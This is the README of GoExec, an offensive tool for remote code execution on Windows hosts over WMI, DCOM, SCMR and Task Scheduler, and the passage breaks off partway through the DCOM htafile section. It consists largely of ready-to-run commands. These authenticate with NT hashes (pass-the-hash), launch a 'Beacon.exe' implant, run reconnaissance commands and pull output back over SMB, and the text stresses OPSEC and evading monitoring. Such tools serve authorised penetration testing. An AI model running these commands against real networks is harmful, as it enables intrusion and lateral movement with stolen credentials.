GoExec - Remote Execution Multitool

GoExec is a new take on some of the methods used to gain remote execution on Windows devices. GoExec implements a number of largely unrealized execution methods and provides significant OPSEC improvements overall.

The original post about GoExec v0.1.0 can be found here

Installation

Build & Install with Go

To build this project from source, you will need Go version 1.23.* or greater and a 64-bit target architecture. More information on managing Go installations can be found here

# Install goexec
CGO_ENABLED=0 go install -ldflags="-s -w" github.com/FalconOpsLLC/goexec@latest

Manual Installation

For pre-release features, fetch the latest commit and build manually.

# (Linux) Install GoExec manually from source
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec

# Build goexec (Go >= 1.23)
CGO_ENABLED=0 go build -ldflags="-s -w"

# (Optional) Install goexec to /usr/local/bin/goexec
sudo install goexec /usr/local/bin

Install with Docker

We've provided a Dockerfile to build and run GoExec within Docker containers.

# (Linux) Install GoExec Docker image
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec

# Build goexec image (as root/docker group)
docker build . --tag goexec --network host

# Run goexec via Docker container
alias goexec='sudo docker run -it --rm goexec'
goexec -h # display help menu

Install from Release

You may also download the latest release for 64-bit Windows, macOS, or Linux.

Usage

GoExec is made up of modules for each remote service used (i.e. wmi, scmr, etc.), and specific methods within each module (i.e. wmi proc, scmr change, etc.)

Usage:
  goexec [command] [flags]

Execution Commands:
  dcom        Execute with Distributed Component Object Model (MS-DCOM)
  wmi         Execute with Windows Management Instrumentation (MS-WMI)
  scmr        Execute with Service Control Manager Remote (MS-SCMR)
  tsch        Execute with Windows Task Scheduler (MS-TSCH)

Additional Commands:
  help        Help about any command
  completion  Generate the autocompletion script for the specified shell

Logging:
  -D, --debug           Enable debug logging
  -O, --log-file file   Write JSON logging output to file
  -j, --json            Write logging output in JSON lines
  -q, --quiet           Disable info logging

Authentication:
  -u, --user user@domain      Username ('user@domain', 'domain\user', 'domain/user' or 'user')
  -p, --password string       Password
  -H, --nt-hash hash          NT hash ('NT', ':NT' or 'LM:NT')
      --aes-key hex key       Kerberos AES hex key
      --pfx file              Client certificate and private key as PFX file
      --pfx-password string   Password for PFX file
      --ccache file           Kerberos CCache file name (defaults to $KRB5CCNAME, currently unset)
      --dc string             Domain controller
  -k, --kerberos              Use Kerberos authentication

Fetching Remote Process Output

Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the -o/--out flag. Use of this flag will wrap the supplied command in cmd.exe /c... >\Windows\Temp\RANDOM where RANDOM is a random GUID, then fetch the output file via SMB file transfer. By default, the output collection will time out after 1 minute, but this can be adjusted with the --out-timeout flag.

WMI Module (wmi)

The wmi module uses remote Windows Management Instrumentation (WMI) to spawn processes (wmi proc), or manually call a method (wmi call).

Usage:
  goexec wmi [command] [flags]

Available Commands:
  proc        Start a Windows process
  call        Execute specified WMI method

... [inherited flags] ...

Network:
  -x, --proxy URI           Proxy URI
  -F, --epm-filter string   String binding to filter endpoints returned by the RPC endpoint mapper (EPM)
      --endpoint string     Explicit RPC endpoint definition
      --epm                 Use EPM to discover available bindings
      --no-sign             Disable signing on DCERPC messages
      --no-seal             Disable packet stub encryption on DCERPC message

Process Creation Method (wmi proc)

The proc method creates an instance of the Win32_Process WMI class, then calls the Create method to spawn a process with the provided arguments.

Usage:
  goexec wmi proc [target] [flags]

Execution:
  -e, --exec string         Remote Windows executable to invoke
  -a, --args string         Process command line arguments
  -c, --command string      Windows process command line (executable &
                            arguments)
  -o, --out string          Fetch execution output to file or "-" for
                            standard output
  -m, --out-method string   Method to fetch execution output (default "smb")
      --no-delete-out       Preserve output file on remote filesystem
  -d, --directory string    Working directory (default "C:\\")

... [inherited flags] ...

Examples

# Run an executable without arguments
goexec wmi proc "$target" \
  -u "$auth_user" \
  -p "$auth_pass" \
  -e 'C:\Windows\Temp\Beacon.exe' \

# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all`
goexec wmi proc "$target" \
  -u "$auth_user" \
  -H "$auth_nt" \
  -e 'cmd.exe' \
  -a '/C whoami /all' \
  -o- # Fetch output to STDOUT

(Auxiliary) Call Method (wmi call)

The call method gives the operator full control over a WMI method call. You can list available classes and methods on Windows with PowerShell's Get-CimClass.

Usage:
  goexec wmi call [target] [flags]

WMI:
  -n, --namespace string   WMI namespace (default "//./root/cimv2")
  -C, --class string       WMI class to instantiate (i.e. "Win32_Process")
  -m, --method string      WMI Method to call (i.e. "Create")
  -A, --args string        WMI Method argument(s) in JSON dictionary format (i.e. {"Command":"calc.exe"}) (default "{}")

... [inherited flags] ...

Examples

# Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM
goexec wmi call "$target" \
    -u "$auth_user" \
    -p "$auth_pass" \
    -C 'StdRegProv' \
    -m 'EnumKey' \
    -A '{"sSubKeyName":"SYSTEM"}'

DCOM Module (dcom)

The dcom module uses exposed Distributed Component Object Model (DCOM) objects to gain remote execution.

[!WARNING] The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings. Additionally, Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work.

Usage:
  goexec dcom [command] [flags]

Available Commands:
  mmc                Execute with the MMC20.Application DCOM object
  shellwindows       Execute with the ShellWindows DCOM object
  shellbrowserwindow Execute with the ShellBrowserWindow DCOM object
  htafile            Execute with the HTAFile DCOM object
  excel              Execute with DCOM object(s) targeting Microsoft Excel
  visualstudio       Execute with DCOM object(s) targeting Microsoft Visual Studio

... [inherited flags] ...

Network:
  -x, --proxy URI            Proxy URI
  -F, --epm-filter binding   String binding to filter endpoints returned by the RPC endpoint mapper (EPM)
      --endpoint binding     Explicit RPC endpoint string binding
      --epm                  Use EPM to discover available bindings
      --no-sign              Disable signing on DCERPC messages
      --no-seal              Disable packet stub encryption on DCERPC messages

MMC20.Application Method (dcom mmc)

The mmc method instantiates a remote MMC20.Application object to call Document.ActiveView.ShellExec, and ultimately spawn a process on the remote host.

Usage:
  goexec dcom mmc [target] [flags]

Execution:
  -e, --exec string            Remote Windows executable to invoke
  -a, --args string            Process command line arguments
  -c, --command string         Windows process command line (executable & arguments)
  -o, --out file               Fetch execution output to file or "-" for standard output
  -m, --out-method Method      Method to fetch execution output (default "smb")
      --out-timeout duration   Output timeout duration (default 1m0s)
      --no-delete-out          Preserve output file on remote filesystem
      --directory directory    Working directory (default "C:\\")
      --window string          Window state (default "Minimized"

... [inherited flags] ...

Examples

# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file
goexec dcom mmc "$target" \
  -u "$auth_user" \
  -H "$auth_nt" \
  -e 'cmd.exe' \
  -a '/c whoami /priv' \
  -o ./privs.bin # Save output to ./privs.bin

ShellWindows Method (dcom shellwindows)

The shellwindows method uses a ShellWindows DCOM object to call Item().Document.Application.ShellExecute and spawn a remote process. This execution method isn't nearly as stable as the dcom mmc method for a few reasons:

• This method may not work on the latest Windows versions
• It may require that there is an active desktop session on the target machine.
• Successful execution may be on behalf of the desktop user, not necessarily an administrator.

Usage:
  goexec dcom shellwindows [target] [flags]

Execution:
  -e, --exec executable        Remote Windows executable to invoke
  -a, --args string            Process command line arguments
  -c, --command string         Windows process command line (executable & arguments)
  -o, --out file               Fetch execution output to file or "-" for standard output
  -m, --out-method string      Method to fetch execution output (default "smb")
      --out-timeout duration   Output timeout duration (default 1m0s)
      --no-delete-out          Preserve output file on remote filesystem
      --directory directory    Working directory (default "C:\\")
      --app-window ID          Application window state ID (default "0")

... [inherited flags] ...

The app window argument (--app-window) must be one of the values described here (vShow parameter).

Examples

# Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output
goexec dcom shellwindows "$target" \
  -u "$auth_user" \
  -H "$auth_nt" \
  -e 'netstat.exe' \
  -a '-anop tcp' \
  -o- # write to standard output

# Authenticate with local admin password, open maximized notepad window on desktop
goexec dcom shellwindows "$target" \
  -u "$auth_user" \
  -p "$auth_pass" \
  -e 'notepad.exe' \
  --directory 'C:\Windows' \
  --app-window 3 # Maximized

ShellBrowserWindow Method (dcom shellbrowserwindow)

The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object to call Document.Application.ShellExecute and spawn the provided process. The potential constraints of this method are similar to the ShellWindows method.

Usage:
  goexec dcom shellbrowserwindow [target] [flags]

Execution:
  -e, --exec executable        Remote Windows executable to invoke
  -a, --args string            Process command line arguments
  -c, --command string         Windows process command line (executable & arguments)
  -o, --out file               Fetch execution output to file or "-" for standard output
  -m, --out-method string      Method to fetch execution output (default "smb")
      --out-timeout duration   Output timeout duration (default 1m0s)
      --no-delete-out          Preserve output file on remote filesystem
      --directory directory    Working directory (default "C:\\")
      --app-window ID          Application window state ID (default "0"

... [inherited flags] ...

Examples

# Authenticate with NT hash, open explorer.exe maximized
goexec dcom shellbrowserwindow "$target" \
  -u "$auth_user@$domain" \
  -H "$auth_nt" \
  -e 'explorer.exe' \
  --app-window 3

htafile Method (dcom htafile)

The htafile method uses the exposed HTML Application object to call IPersistMoniker.Load with a client-supplied URL moniker. The URL can point to a URL of any format supported by mshta.exe.

```text Usage: goexec dcom htafile [target] [flags]

Execution: -U, --url URL Load custom URL --js string Execute JavaScript one-liner --vbs string Execute VBScript one-liner -e, --exec executable Remote Windows executable to invoke -a, --args string Process command line arguments -c, --command string Windows process command line (executable & arguments) -o, --out file Fetch execution output to file or "-" for standard output -m, --out-method string Method to fetch execution output (default "smb") --out-timeout duration Output timeout duration (default 1m0s) --no-delete-out Preserve output file on